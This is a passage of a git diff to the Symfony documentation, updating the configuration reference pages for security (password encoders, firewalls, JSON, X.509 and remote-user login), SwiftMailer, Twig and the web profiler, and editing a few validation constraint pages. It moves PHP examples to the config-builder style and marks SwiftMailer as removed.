-                <!-- MessageDigestPasswordEncoder encoder using SHA512 hashing with default options -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="sha512"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                // auto encoder with default options
-                User::class => [
-                    'algorithm' => 'auto',
-                ],
-
-                // auto encoder with custom options
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost'      => 15,
-                ],
-
-                // Sodium encoder with default options
-                User::class => [
-                    'algorithm' => 'sodium',
-                ],
-
-                // Sodium encoder with custom options
-                User::class => [
-                    'algorithm' => 'sodium',
-                    'memory_cost' => 16384, // Amount in KiB. (16384 = 16 MiB)
-                    'time_cost' => 2,       // Number of iterations
-                ],
-
-                // MessageDigestPasswordEncoder encoder using SHA512 hashing with default options
-                User::class => [
-                    'algorithm' => 'sha512',
-                ],
-            ],
-        ]);
-
-.. tip::
-
-    You can also create your own password encoders as services and you can even
-    select a different password encoder for each user instance. Read
-    :doc:`this article </security/named_encoders>` for more details.
-
-.. _reference-security-sodium:
-.. _using-the-argon2i-password-encoder:
-
-Using the Sodium Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It uses the `Argon2 key derivation function`_ and it's the encoder recommended
-by Symfony. Argon2 support was introduced in PHP 7.2, but if you use an earlier
-PHP version, you can install the `libsodium`_ PHP extension.
-
-The encoded passwords are ``96`` characters long, but due to the hashing
-requirements saved in the resulting hash this may change in the future, so make
-sure to allocate enough space for them to be persisted. Also, passwords include
-the `cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
-
-.. _reference-security-encoder-auto:
-
-Using the "auto" Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It selects automatically the best possible encoder. Currently, it tries to use
-Sodium by default and falls back to the `bcrypt password hashing function`_ if
-not possible. In the future, when PHP adds new hashing techniques, it may use
-different password hashers.
-
-It produces encoded passwords with ``60`` characters long, so make sure to
-allocate enough space for them to be persisted. Also, passwords include the
-`cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
-
-Its only configuration option is ``cost``, which is an integer in the range of
-``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
-time** it takes to encode a password. It's designed this way so the password
-strength can be adapted to the future improvements in computation power.
-
-You can change the cost at any time — even if you already have some passwords
-encoded using a different cost. New passwords will be encoded using the new
-cost, while the already encoded ones will be validated using a cost that was
-used back when they were encoded.
-
-.. tip::
-
-    A simple technique to make tests much faster when using BCrypt is to set
-    the cost to ``4``, which is the minimum value allowed, in the ``test``
-    environment configuration.
-
-.. _reference-security-pbkdf2:
-
-Using the PBKDF2 Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-Using the `PBKDF2`_ encoder is no longer recommended since PHP added support for
-Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
-to those newer encoding algorithms.
-
 firewalls
 ---------
 
@@ -336,7 +141,7 @@ application:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -360,20 +165,20 @@ application:
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                // 'main' is the name of the firewall (can be chosen freely)
-                'main' => [
-                    // 'pattern' is a regular expression matched against the incoming
-                    // request URL. If there's a match, authentication is triggered
-                    'pattern' => '^/admin',
-                    // the rest of options depend on the authentication mechanism
-                    // ...
-                ],
-            ],
-        ]);
+            // 'main' is the name of the firewall (can be chosen freely)
+            $security->firewall('main')
+                // 'pattern' is a regular expression matched against the incoming
+                // request URL. If there's a match, authentication is triggered
+                ->pattern('^/admin')
+                // the rest of options depend on the authentication mechanism
+                // ...
+            ;
+        };
 
 .. seealso::
 
@@ -410,6 +215,26 @@ depend on the authentication mechanism, which can be any of these:
                     http_digest:
                         # ...
 
+You can view actual information about the firewalls in your application with
+the ``debug:firewall`` command:
+
+.. code-block:: terminal
+
+    # displays a list of firewalls currently configured for your application
+    $ php bin/console debug:firewall
+
+    # displays the details of a specific firewall
+    $ php bin/console debug:firewall main
+
+    # displays the details of a specific firewall, including detailed information
+    # about the event listeners for the firewall
+    $ php bin/console debug:firewall main --events
+
+.. versionadded:: 5.3
+
+    The ``debug:firewall`` command was introduced in Symfony 5.3.
+
+
 .. _reference-security-firewall-form-login:
 
 ``form_login`` Authentication
@@ -552,6 +377,15 @@ the current firewall and not the other ones.
 The path which triggers logout. If you change it from the default value ``/logout``,
 you need to set up a route with a matching path.
 
+target
+~~~~~~
+
+**type**: ``string`` **default**: ``/``
+
+The relative path (if the value starts with ``/``), or absolute URL (if it
+starts with ``http://`` or ``https://``) or the route name (otherwise) to
+redirect after logout.
+
 success_handler
 ~~~~~~~~~~~~~~~
 
@@ -567,6 +401,8 @@ success_handler
 The service ID used for handling a successful logout. The service must implement
 :class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
 
+If it is set, the logout ``target`` option will be ignored.
+
 .. _reference-security-logout-csrf:
 
 csrf_parameter
@@ -591,6 +427,102 @@ csrf_token_id
 
 An arbitrary string used to identify the token (and check its validity afterwards).
 
+.. _reference-security-firewall-json-login:
+
+JSON Login Authentication
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+check_path
+..........
+
+**type**: ``string`` **default**: ``/login_check``
+
+This is the URL or route name the system must post to authenticate using
+the JSON authenticator. The path must be covered by the firewall to which
+the user will authenticate.
+
+username_path
+.............
+
+**type**: ``string`` **default**: ``username``
+
+Use this and ``password_path`` to modify the expected request body
+structure of the JSON authenticator. For instance, if the JSON document has
+the following structure:
+
+.. code-block:: json
+
+    {
+        "security": {
+            "credentials": {
+                "login": "dunglas",
+                "password": "MyPassword"
+            }
+        }
+    }
+
+The security configuration should be:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    lazy: true
+                    json_login:
+                        check_path:    login
+                        username_path: security.credentials.login
+                        password_path: security.credentials.password
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main" lazy="true">
+                    <json-login check-path="login"
+                        username-path="security.credentials.login"
+                        password-path="security.credentials.password"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->lazy(true);
+            $mainFirewall->jsonLogin()
+                ->checkPath('/login')
+                ->usernamePath('security.credentials.login')
+                ->passwordPath('security.credentials.password')
+            ;
+        };
+
+password_path
+.............
+
+**type**: ``string`` **default**: ``password``
+
+Use this option to modify the expected request body structure. See
+`username_path`_ for more details.
+
 .. _reference-security-ldap:
 
 LDAP Authentication
@@ -647,12 +579,157 @@ fetch your users from an LDAP server, you will need to use the
 :doc:`LDAP User Provider </security/ldap>` and any of these authentication
 providers: ``form_login_ldap`` or ``http_basic_ldap`` or ``json_login_ldap``.
 
+.. _reference-security-firewall-x509:
+
+X.509 Authentication
+~~~~~~~~~~~~~~~~~~~~
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    x509:
+                        provider:    your_user_provider
+                        user:        SSL_CLIENT_S_DN_Email
+                        credentials: SSL_CLIENT_S_DN
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <x509 provider="your_user_provider"
+                        user="SSL_CLIENT_S_DN_Email"
+                        credentials="SSL_CLIENT_S_DN"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->x509()
+                ->provider('your_user_provider')
+                ->user('SSL_CLIENT_S_DN_Email')
+                ->credentials('SSL_CLIENT_S_DN')
+            ;
+        };
+
+user
+....
+
+**type**: ``string`` **default**: ``SSL_CLIENT_S_DN_Email``
+
+The name of the ``$_SERVER`` parameter containing the user identifier used
+to load the user in Symfony. The default value is exposed by Apache.
+
+credentials
+...........
+
+**type**: ``string`` **default**: ``SSL_CLIENT_S_DN``
+
+If the ``user`` parameter is not available, the name of the ``$_SERVER``
+parameter containing the full "distinguished name" of the certificate
+(exposed by e.g. Nginx).
+
+Symfony identifies the value following ``emailAddress=`` in this parameter.
+
+.. _reference-security-firewall-remote-user:
+
+Remote User Authentication
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    # ...
+                    remote_user:
+                        provider: your_user_provider
+                        user:     REMOTE_USER
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <remote-user provider="your_user_provider"
+                        user="REMOTE_USER"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->remoteUser()
+                ->provider('your_user_provider')
+                ->user('REMOTE_USER')
+            ;
+        };
+
+provider
+........
+
+**type**: ``string``
+
+The service ID of the user provider that should be used by this
+authenticator.
+
+user
+....
+
+**type**: ``string`` **default**: ``REMOTE_USER``
+
+The name of the ``$_SERVER`` parameter holding the user identifier.
+
 .. _reference-security-firewall-context:
 
 Firewall Context
 ~~~~~~~~~~~~~~~~
 
-Most applications will only need one :ref:`firewall <security-firewalls>`.
+Most applications will only need one :ref:`firewall <firewalls-authentication>`.
 But if your application *does* use multiple firewalls, you'll notice that
 if you're authenticated in one firewall, you're not automatically authenticated
 in another. In other words, the systems don't share a common "context":
@@ -682,7 +759,7 @@ multiple firewalls, the "context" could actually be shared:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -704,18 +781,19 @@ multiple firewalls, the "context" could actually be shared:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'somename' => [
-                    // ...
-                    'context' => 'my_context',
-                ],
-                'othername' => [
-                    // ...
-                    'context' => 'my_context',
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('somename')
+                // ...
+                ->context('my_context')
+            ;
+
+            $security->firewall('othername')
+                // ...
+                ->context('my_context')
+            ;
+        };
 
 .. note::
 
@@ -737,13 +815,9 @@ providers
 ---------
 
 This options defines how the application users are loaded (from a database,
-an LDAP server, a configuration file, etc.) Read the following articles to learn
-more about each of those providers:
-
-* :ref:`Load users from a database <security-entity-user-provider>`
-* :ref:`Load users from an LDAP server <security-ldap-user-provider>`
-* :ref:`Load users from a configuration file <security-memory-user-provider>`
-* :ref:`Create your own user provider <custom-user-provider>`
+an LDAP server, a configuration file, etc.) Read
+:doc:`/security/user_providers` to learn more about each of those
+providers.
 
 role_hierarchy
 --------------
@@ -752,9 +826,4 @@ Instead of associating many roles to users, this option allows you to define
 role inheritance rules by creating a role hierarchy, as explained in
 :ref:`security-role-hierarchy`.
 
-.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
-.. _`libsodium`: https://pecl.php.net/package/libsodium
 .. _`Session Fixation`: https://owasp.org/www-community/attacks/Session_fixation
-.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
-.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
-.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index 674cee6ae53..2e46e99b000 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -4,391 +4,10 @@
 Mailer Configuration Reference (SwiftmailerBundle)
 ==================================================
 
-The SwiftmailerBundle integrates the Swiftmailer library in Symfony applications
-to :doc:`send emails </email>`. All these options are configured under the
-``swiftmailer`` key in your application configuration.
-
-.. code-block:: terminal
-
-    # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference swiftmailer
-
-    # displays the actual config values used by your application
-    $ php bin/console debug:config swiftmailer
-
-.. note::
-
-    When using XML, you must use the ``http://symfony.com/schema/dic/swiftmailer``
-    namespace and the related XSD schema is available at:
-    ``https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd``
-
-Configuration
--------------
-
-.. rst-class:: list-config-options list-config-options--complex
-
-* `antiflood`_
-
-  * `sleep`_
-  * `threshold`_
-
-* `auth_mode`_
-* `command`_
-* `delivery_addresses`_
-* `delivery_whitelist`_
-* `disable_delivery`_
-* `encryption`_
-* `host`_
-* `local_domain`_
-* `logging`_
-* `password`_
-* `port`_
-* `sender_address`_
-* `source_ip`_
-* `spool`_
-
-  * `path`_
-  * `type`_
-
-* `timeout`_
-* `transport`_
-* `url`_
-* `username`_
-
-url
-~~~
-
-**type**: ``string``
-
-The entire SwiftMailer configuration using a DSN-like URL format.
-
-Example: ``smtp://user:pass@host:port/?timeout=60&encryption=ssl&auth_mode=login&...``
-
-transport
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``smtp``
-
-The exact transport method to use to deliver emails. Valid values are:
-
-* smtp
-* gmail (see :ref:`email-using-gmail`)
-* mail (deprecated in SwiftMailer since version 5.4.5)
-* sendmail
-* null (same as setting `disable_delivery`_ to ``true``)
-
-username
-~~~~~~~~
-
-**type**: ``string``
-
-The username when using ``smtp`` as the transport.
-
-password
-~~~~~~~~
-
-**type**: ``string``
-
-The password when using ``smtp`` as the transport.
-
-command
-~~~~~~~~
-
-**type**: ``string`` **default**: ``/usr/sbin/sendmail -bs``
-
-Command to be executed by ``sendmail`` transport.
-
-host
-~~~~
-
-**type**: ``string`` **default**: ``localhost``
-
-The host to connect to when using ``smtp`` as the transport.
-
-port
-~~~~
-
-**type**: ``string`` **default**: 25 or 465 (depending on `encryption`_)
-
-The port when using ``smtp`` as the transport. This defaults to 465 if encryption
-is ``ssl`` and 25 otherwise.
-
-timeout
-~~~~~~~
-
-**type**: ``integer``
-
-The timeout in seconds when using ``smtp`` as the transport.
-
-source_ip
-~~~~~~~~~
-
-**type**: ``string``
-
-The source IP address when using ``smtp`` as the transport.
-
-local_domain
-~~~~~~~~~~~~
-
-**type**: ``string``
-
-.. versionadded:: 2.4.0
-
-    The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0.
-
-The domain name to use in ``HELO`` command.
-
-encryption
-~~~~~~~~~~
-
-**type**: ``string``
-
-The encryption mode to use when using ``smtp`` as the transport. Valid values
-are ``tls``, ``ssl``, or ``null`` (indicating no encryption).
-
-auth_mode
-~~~~~~~~~
-
-**type**: ``string``
-
-The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``, or ``null``.
-
-spool
-~~~~~
-
-For details on email spooling, see :doc:`/mailer`.
-
-type
-....
-
-**type**: ``string`` **default**: ``file``
-
-The method used to store spooled messages. Valid values are ``memory`` and
-``file``. A custom spool should be possible by creating a service called
-``swiftmailer.spool.myspool`` and setting this value to ``myspool``.
-
-path
-....
-
-**type**: ``string`` **default**: ``%kernel.cache_dir%/swiftmailer/spool``
-
-When using the ``file`` spool, this is the path where the spooled messages
-will be stored.
-
-sender_address
-~~~~~~~~~~~~~~
-
-**type**: ``string``
-
-If set, all messages will be delivered with this address as the "return
-path" address, which is where bounced messages should go. This is handled
-internally by Swift Mailer's ``Swift_Plugins_ImpersonatePlugin`` class.
-
-antiflood
-~~~~~~~~~
-
-threshold
-.........
-
-**type**: ``integer`` **default**: ``99``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of emails
-to send before restarting the transport.
-
-sleep
-.....
-
-**type**: ``integer`` **default**: ``0``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of seconds
-to sleep for during a transport restart.
-
-.. _delivery-address:
-
-delivery_addresses
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-.. note::
-
-    In previous versions, this option was called ``delivery_address``.
-
-If set, all email messages will be sent to these addresses instead of being sent
-to their actual recipients. This is often useful when developing. For example,
-by setting this in the ``config/packages/dev/swiftmailer.yaml`` file, you can
-guarantee that all emails sent during development go to one or more some
-specific accounts.
-
-This uses ``Swift_Plugins_RedirectingPlugin``. Original recipients are available
-on the ``X-Swift-To``, ``X-Swift-Cc`` and ``X-Swift-Bcc`` headers.
-
-delivery_whitelist
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-Used in combination with ``delivery_address`` or ``delivery_addresses``. If set, emails matching any
-of these patterns will be delivered like normal, as well as being sent to
-``delivery_address`` or ``delivery_addresses``. For details, see the
-:ref:`How to Work with Emails during Development <sending-to-a-specified-address-but-with-exceptions>`
-article.
-
-disable_delivery
-~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-If true, the ``transport`` will automatically be set to ``null`` and no
-emails will actually be delivered.
-
-logging
-~~~~~~~
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-If true, Symfony's data collector will be activated for Swift Mailer and
-the information will be available in the profiler.
-
-.. tip::
-
-    The following options can be set via environment variables: ``url``,
-    ``transport``, ``username``, ``password``, ``host``, ``port``, ``timeout``,
-    ``source_ip``, ``local_domain``, ``encryption``, ``auth_mode``. For details,
-    see: :ref:`config-env-vars`.
-
-Using Multiple Mailers
-----------------------
-
-You can configure multiple mailers by grouping them under the ``mailers``
-key (the default mailer is identified by the ``default_mailer`` option):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        swiftmailer:
-            default_mailer: second_mailer
-            mailers:
-                first_mailer:
-                    # ...
-                second_mailer:
-                    # ...
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config default-mailer="second_mailer">
-                <swiftmailer:mailer name="first_mailer"/>
-                <swiftmailer:mailer name="second_mailer"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        $container->loadFromExtension('swiftmailer', [
-            'default_mailer' => 'second_mailer',
-            'mailers' => [
-                'first_mailer' => [
-                    // ...
-                ],
-                'second_mailer' => [
-                    // ...
-                ],
-            ],
-        ]);
-
-Each mailer is registered automatically as a service with these IDs::
-
-    // ...
-
-    // returns the first mailer
-    $container->get('swiftmailer.mailer.first_mailer');
-
-    // also returns the second mailer since it is the default mailer
-    $container->get('swiftmailer.mailer');
-
-    // returns the second mailer
-    $container->get('swiftmailer.mailer.second_mailer');
-
 .. caution::
 
-    When configuring multiple mailers, options must be placed under the
-    appropriate mailer key of the configuration instead of directly under the
-    ``swiftmailer`` key.
-
-When using :ref:`autowiring <services-autowire>` only the default mailer is
-injected when type-hinting some argument with the ``\Swift_Mailer`` class. If
-you need to inject a different mailer in some service, use any of these
-alternatives based on the :ref:`service binding <services-binding>` feature:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            _defaults:
-                bind:
-                    # this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer
-                    \Swift_Mailer: '@swiftmailer.mailer.second_mailer'
-                    # this injects the second mailer when a service constructor argument is called $specialMailer
-                    $specialMailer: '@swiftmailer.mailer.second_mailer'
-
-            App\Some\Service:
-                # this injects the second mailer only for this argument of this service
-                $differentMailer: '@swiftmailer.mailer.second_mailer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false">
-                    <!-- this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer -->
-                    <bind key="\Swift_Mailer">@swiftmailer.mailer.second_mailer</bind>
-                    <!-- this injects the second mailer when a service constructor argument is called $specialMailer -->
-                    <bind key="$specialMailer">@swiftmailer.mailer.second_mailer</bind>
-                </defaults>
-
-                <service id="App\Some\Service">
-                    <!-- this injects the second mailer only for this argument of this service -->
-                    <argument key="$differentMailer">@swiftmailer.mailer.second_mailer</argument>
-                </service>
-
-                <!-- ... -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Some\Service;
-        use Psr\Log\LoggerInterface;
-
+    The Swift Mailer project is not supported since November 2021 and its
+    integration with Symfony was removed in Symfony 6.0.
 
-        $container->register(Service::class)
-            ->setPublic(true)
-            ->setBindings([
-                // this injects the second mailer when this service type-hints constructor arguments with \Swift_Mailer
-                \Swift_Mailer::class => '@swiftmailer.mailer.second_mailer',
-                // this injects the second mailer when this service has a constructor argument called $specialMailer
-                '$specialMailer' => '@swiftmailer.mailer.second_mailer',
-            ])
-        ;
+    Use the :doc:`Symfony Mailer </mailer>` component, which was introduced in
+    Symfony 4.3 as a modern replacement of Swift Mailer.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index e00d7f63958..b4893beabae 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -25,35 +25,6 @@ under the ``twig`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `auto_reload`_
-* `autoescape`_
-* `autoescape_service`_
-* `autoescape_service_method`_
-* `base_template_class`_
-* `cache`_
-* `charset`_
-* `date`_
-
-  * `format`_
-  * `interval_format`_
-  * `timezone`_
-
-* `debug`_
-* `default_path`_
-* `form_themes`_
-* `globals`_
-* `number_format`_
-
-  * `decimals`_
-  * `decimal_point`_
-  * `thousands_separator`_
-
-* `optimizations`_
-* `paths`_
-* `strict_variables`_
-
 auto_reload
 ~~~~~~~~~~~
 
@@ -235,13 +206,16 @@ all the forms of the application:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'bootstrap_4_layout.html.twig',
                 'form/my_theme.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 The order in which themes are defined is important because each theme overrides
 all the previous one. When rendering a form field whose block is not defined in
@@ -294,7 +268,7 @@ no specific character is passed as argument to the ``number_format`` filter.
 optimizations
 ~~~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``-1``
+**type**: ``integer`` **default**: ``-1``
 
 Twig includes an extension called ``optimizer`` which is enabled by default in
 Symfony applications. This extension analyzes the templates to optimize them
@@ -348,20 +322,23 @@ the directory defined in the :ref:`default_path option <config-twig-default-path
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                'email/default/templates' => null,
-                'backend/templates' => 'admin',
-            ],
-        ]);
+
+            $twig->path('email/default/templates', null);
+            $twig->path('backend/templates', 'admin');
+        };
 
 Read more about :ref:`template directories and namespaces <templates-namespaces>`.
 
+.. _config-twig-strict-variables:
+
 strict_variables
 ~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
 If set to ``true``, Symfony shows an exception whenever a Twig variable,
 attribute or method doesn't exist. If set to ``false`` these errors are ignored
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 83f92e215a5..9d3ddb088f5 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -30,12 +30,6 @@ under the ``web_profiler`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options
-
-* `excluded_ajax_paths`_
-* `intercept_redirects`_
-* `toolbar`_
-
 excluded_ajax_paths
 ~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints.rst b/reference/constraints.rst
index 56acb087114..34ed5d08dab 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -76,6 +76,7 @@ Validation Constraints Reference
    constraints/NotCompromisedPassword
    constraints/Valid
    constraints/Traverse
+   constraints/CssColor
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 1577a07ec4d..bdb0ebda7d1 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -6,9 +6,6 @@ you to apply a collection of constraints to each element of the array.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `constraints`_
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\All`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\AllValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 6a48c44a4fd..9a173008c0f 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -10,12 +10,6 @@ constraints. The validation stops as soon as one constraint is satisfied.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `constraints`_
-            - `includeInternalMessages`_
-            - `message`_
-            - `messageCollection`_
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\AtLeastOneOf`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\AtLeastOneOfValidator`
 ==========  ===================================================================
@@ -141,7 +135,7 @@ The following constraints ensure that:
                         new Assert\Count(['min' => 3]),
                         new Assert\All([
                             'constraints' => [
-                                new Assert\GreaterThanOrEqual(['value' => 5]),
+                                new Assert\GreaterThanOrEqual(5),
                             ],
                         ]),
                     ],
@@ -163,7 +157,7 @@ has to be satisfied in order for the validation to succeed.
 includeInternalMessages
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 If set to ``true``, the message that is shown if the validation fails,
 will include the list of messages for the internal constraints. See option
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 029a322e294..0f041e4a26f 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -8,12 +8,6 @@ check that the BIC's country code is the same as a given IBAN's one.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `iban`_
-            - `ibanMessage`_
-            - `ibanPropertyPath`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Bic`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\BicValidator`
 ==========  ===================================================================
@@ -41,6 +35,19 @@ will contain a Business Identifier Code (BIC).
             protected $businessIdentifierCode;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
